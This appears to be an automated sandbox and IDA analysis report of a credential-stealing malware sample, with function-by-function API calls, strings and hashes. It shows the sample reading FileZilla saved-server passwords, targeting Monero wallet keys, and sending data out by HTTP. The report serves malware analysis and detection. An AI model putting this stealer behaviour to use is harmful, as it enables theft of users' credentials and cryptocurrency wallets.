Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (?UJ$As>
API String ID: 0-1445874830
Opcode ID: 78736c65eaa937c82f71ffbc4bf966e90b45ccb1d57ed541c75c7a26abdbe9f2
Instruction ID: e28b59a504e723bfa414a5d9163e3871420c457851031fb8fb555cd5af69ff80
Opcode Fuzzy Hash: 78736c65eaa937c82f71ffbc4bf966e90b45ccb1d57ed541c75c7a26abdbe9f2
Instruction Fuzzy Hash: 2E6147F3A08204AFE344AE3DED5577AB7E5EF90310F1A892DE5C5C3744EA3598048786

Function 005E109A Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

V, xrefs: 005E217C

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-1342839628
Opcode ID: 4ccb84c4e49ec78705c905737ebb6da9d9e0eeb79040fe1712357612e33bdd67
Instruction ID: 2e8c5e61306404c9b4318b4e77ac1dfda4c34cd556bfc25dc2de6222732ef782
Opcode Fuzzy Hash: 4ccb84c4e49ec78705c905737ebb6da9d9e0eeb79040fe1712357612e33bdd67
Instruction Fuzzy Hash: 5D4106B240C3599FD7099F19D9446BE7FE8FF51320F20882EE9C282A45E6364D14EB5A

Function 006D411C Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4402c2247bc3316b39991198b1e9e8d6a5116b275b891d0bf480f801f1f50d8
Instruction ID: 7d5f26b146208982ba5ced610bba18fbbde16f0dde34bbe60be50a00ccb513c6
Opcode Fuzzy Hash: c4402c2247bc3316b39991198b1e9e8d6a5116b275b891d0bf480f801f1f50d8
Instruction Fuzzy Hash: 7551F5B3E081104FE3186928DC547BAB7DAEBD4321F2B463EEA88D3BC4D9395C014696

Function 00619B39 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc2939c0d5abdf8046fae098503841059c8e938f84c25bd64a0bc4a1b29ba67f
Instruction ID: 58f42d40b886c1004f1b49e820b25346275594027341bace4ded956c918afe2f
Opcode Fuzzy Hash: dc2939c0d5abdf8046fae098503841059c8e938f84c25bd64a0bc4a1b29ba67f
Instruction Fuzzy Hash: 335157F3E086105FF3049E28EC8177AB7D5DBD0720F1A853EEA89A3784E5785C058292

Function 00608B2D Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baca68dac8c34ada0da8c4935e2fea72d3e79bb4897dd50f7bfb31e187160030
Instruction ID: 8da1238256ad5eef78e3bbd1be1e5041deaf828a7e05c9237894f90739a9dfab
Opcode Fuzzy Hash: baca68dac8c34ada0da8c4935e2fea72d3e79bb4897dd50f7bfb31e187160030
Instruction Fuzzy Hash: D9512CF3B082049BE304AA39DC8476BBBD7EBE4310F2A863DD7C487798F93954058646

Function 006DE608 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d327ec47a06b9a08621f7d4e2e6c58e9f3d4630ca117155e354547a1d39c5c
Instruction ID: 62d377606b3f50b337ea0a6ff3038b22f91e4a22527284105bfca6f7a52f0719
Opcode Fuzzy Hash: 44d327ec47a06b9a08621f7d4e2e6c58e9f3d4630ca117155e354547a1d39c5c
Instruction Fuzzy Hash: 993114F3E582049BF7185929DC857BAB697DBD0320F2F823D9B88437C8E97D080A4295

Function 00399750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00390250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

GetProcessHeap.KERNEL32(00000000,000F423F,003A0DBA,003A0DB7,003A0DB6,003A0DB3), ref: 00390362
RtlAllocateHeap.NTDLL(00000000), ref: 00390369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00390385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390393
StrStrA.SHLWAPI(00000000,<Port>), ref: 003903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 003903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00390419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00390463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 00390532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00390562
lstrcat.KERNEL32(?,profile: null), ref: 00390571
lstrcat.KERNEL32(?,url: ), ref: 00390580
lstrcat.KERNEL32(?,00000000), ref: 00390593
lstrcat.KERNEL32(?,003A1678), ref: 003905A2
lstrcat.KERNEL32(?,00000000), ref: 003905B5
lstrcat.KERNEL32(?,003A167C), ref: 003905C4
lstrcat.KERNEL32(?,login: ), ref: 003905D3
lstrcat.KERNEL32(?,00000000), ref: 003905E6
lstrcat.KERNEL32(?,003A1688), ref: 003905F5
lstrcat.KERNEL32(?,password: ), ref: 00390604
lstrcat.KERNEL32(?,00000000), ref: 00390617
lstrcat.KERNEL32(?,003A1698), ref: 00390626
lstrcat.KERNEL32(?,003A169C), ref: 00390635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,003A0DB2), ref: 0039068E

Strings

password: , xrefs: 003905FB
<Pass encoding="base64">, xrefs: 0039045A
<Port>, xrefs: 003903C6
<User>, xrefs: 00390410
<Host>, xrefs: 0039037C
login: , xrefs: 003905CA
profile: null, xrefs: 00390568
browser: FileZilla, xrefs: 00390559
url: , xrefs: 00390577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003902A4

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: be84ad1ad8311be02e67bc22c9c744ec49c6bd1dc40b2ae9ea0711fce3886d62
Instruction ID: a8200298fc44d078c5b74f27d1de36e15b50fe425833eb7423e421abd9c223a7
Opcode Fuzzy Hash: be84ad1ad8311be02e67bc22c9c744ec49c6bd1dc40b2ae9ea0711fce3886d62
Instruction Fuzzy Hash: 36D13D72910608AFDF06EBE4DD96EEE7778EF15300F404518F502BA091DF74AA0ADBA1

Function 00385960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003859F8
StrCmpCA.SHLWAPI(?,0115E828), ref: 00385A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00385B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0115E8A8,00000000,?,0115A6A0,00000000,?,003A1A1C), ref: 00385E71
lstrlen.KERNEL32(00000000), ref: 00385E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00385E93
RtlAllocateHeap.NTDLL(00000000), ref: 00385E9A
lstrlen.KERNEL32(00000000), ref: 00385EAF
lstrlen.KERNEL32(00000000), ref: 00385ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00385EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00385F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00385F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00385F4C
InternetCloseHandle.WININET(00000000), ref: 00385FB0
InternetCloseHandle.WININET(00000000), ref: 00385FBD
HttpOpenRequestA.WININET(00000000,0115E788,?,0115DFC8,00000000,00000000,00400100,00000000), ref: 00385BF8

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

InternetCloseHandle.WININET(00000000), ref: 00385FC7

Strings

", xrefs: 00385CD5
------, xrefs: 00385D4C
------, xrefs: 00385A96
------, xrefs: 00385C0B
", xrefs: 00385E16

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 00df2adc4000d09b53eae8678efdfaaa9e588b00ec2ac04a8b1d027ffdfd257b
Instruction ID: be3b68a4fe207f6e16eb3c53e2707aad3ccbfd44fc96c5b2f39c305df34fd96b
Opcode Fuzzy Hash: 00df2adc4000d09b53eae8678efdfaaa9e588b00ec2ac04a8b1d027ffdfd257b
Instruction Fuzzy Hash: C712F171820528ABDF16EBA0DC95FEEB778BF14700F504299F10A66091EF702A49DFA5

Function 0038CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,0115A250,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0038D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0038D0CE
lstrcat.KERNEL32(?,00000000), ref: 0038D208
lstrcat.KERNEL32(?,003A1478), ref: 0038D217
lstrcat.KERNEL32(?,00000000), ref: 0038D22A
lstrcat.KERNEL32(?,003A147C), ref: 0038D239
lstrcat.KERNEL32(?,00000000), ref: 0038D24C
lstrcat.KERNEL32(?,003A1480), ref: 0038D25B
lstrcat.KERNEL32(?,00000000), ref: 0038D26E
lstrcat.KERNEL32(?,003A1484), ref: 0038D27D
lstrcat.KERNEL32(?,00000000), ref: 0038D290
lstrcat.KERNEL32(?,003A1488), ref: 0038D29F
lstrcat.KERNEL32(?,00000000), ref: 0038D2B2
lstrcat.KERNEL32(?,003A148C), ref: 0038D2C1
lstrcat.KERNEL32(?,00000000), ref: 0038D2D4
lstrcat.KERNEL32(?,003A1490), ref: 0038D2E3

Part of subcall function 0039A820: lstrlen.KERNEL32(00384F05,?,?,00384F05,003A0DDE), ref: 0039A82B
Part of subcall function 0039A820: lstrcpy.KERNEL32(003A0DDE,00000000), ref: 0039A885

lstrlen.KERNEL32(?), ref: 0038D32A
lstrlen.KERNEL32(?), ref: 0038D339

Part of subcall function 0039AA70: StrCmpCA.SHLWAPI(01159110,0038A7A7,?,0038A7A7,01159110), ref: 0039AA8F

DeleteFileA.KERNEL32(00000000), ref: 0038D3B4

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
